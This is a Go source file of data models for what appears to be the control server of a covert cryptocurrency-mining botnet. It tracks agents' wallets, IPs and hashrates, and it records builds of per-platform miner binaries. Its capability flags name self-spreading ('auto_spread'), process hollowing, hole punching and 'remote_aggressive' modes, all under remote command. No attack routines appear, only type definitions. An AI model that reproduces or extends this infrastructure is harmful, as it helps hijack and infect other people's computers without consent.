package models import "time" type Agent struct { ID string `json:"id"` Name string `json:"name"` Wallet string `json:"wallet"` IP string `json:"ip"` Version string `json:"version"` Status string `json:"status"` // online, offline, error CPUCores int `json:"cpu_cores"` MemoryGB int `json:"memory_gb"` LastSeen time.Time `json:"last_seen"` CreatedAt time.Time `json:"created_at"` // Runtime stats (updated via heartbeat) Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` Hashrate15m float64 `json:"hashrate_15m"` SharesTotal int `json:"shares_total"` SharesGood int `json:"shares_good"` SharesBad int `json:"shares_bad"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` Notes string `json:"notes"` Tags []string `json:"tags"` Platform string `json:"platform,omitempty"` Arch string `json:"arch,omitempty"` OSVersion string `json:"os_version,omitempty"` Capabilities *AgentCapabilities `json:"capabilities,omitempty"` } // AgentCapabilities reports forge-time features available for remote command. type AgentCapabilities struct { HolePunch bool `json:"hole_punch"` RemoteAggressive bool `json:"remote_aggressive"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` ProcessHollowing bool `json:"process_hollowing"` AIEnabled bool `json:"ai_enabled"` } type Share struct { ID int64 `json:"id"` AgentID string `json:"agent_id"` JobID string `json:"job_id"` Difficulty int64 `json:"difficulty"` Accepted bool `json:"accepted"` Hash string `json:"hash"` Nonce string `json:"nonce"` Error string `json:"error,omitempty"` Timestamp time.Time `json:"timestamp"` } type HashrateSample struct { ID int64 `json:"id"` AgentID string `json:"agent_id"` Hashrate float64 `json:"hashrate"` Timestamp time.Time `json:"timestamp"` } type Job struct { ID string `json:"id"` Height int64 `json:"height"` Difficulty int64 `json:"difficulty"` BlockTemplate string `json:"block_template"` SeedHash string `json:"seed_hash"` Target string `json:"target"` CreatedAt time.Time `json:"created_at"` } type BuildRecord struct { ID string `json:"id"` WorkerName string `json:"worker_name"` ServerURL string `json:"server_url"` Wallet string `json:"wallet"` Threads int `json:"threads"` FileSize int64 `json:"file_size"` BundleSize int64 `json:"bundle_size"` FilePath string `json:"file_path"` FileName string `json:"file_name"` // base filename for display DownloadURL string `json:"download_url"` // relative URL; client prepends server origin Platform string `json:"platform"` // "windows", "linux", "darwin", "universal" CreatedAt time.Time `json:"created_at"` // Pool settings PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` }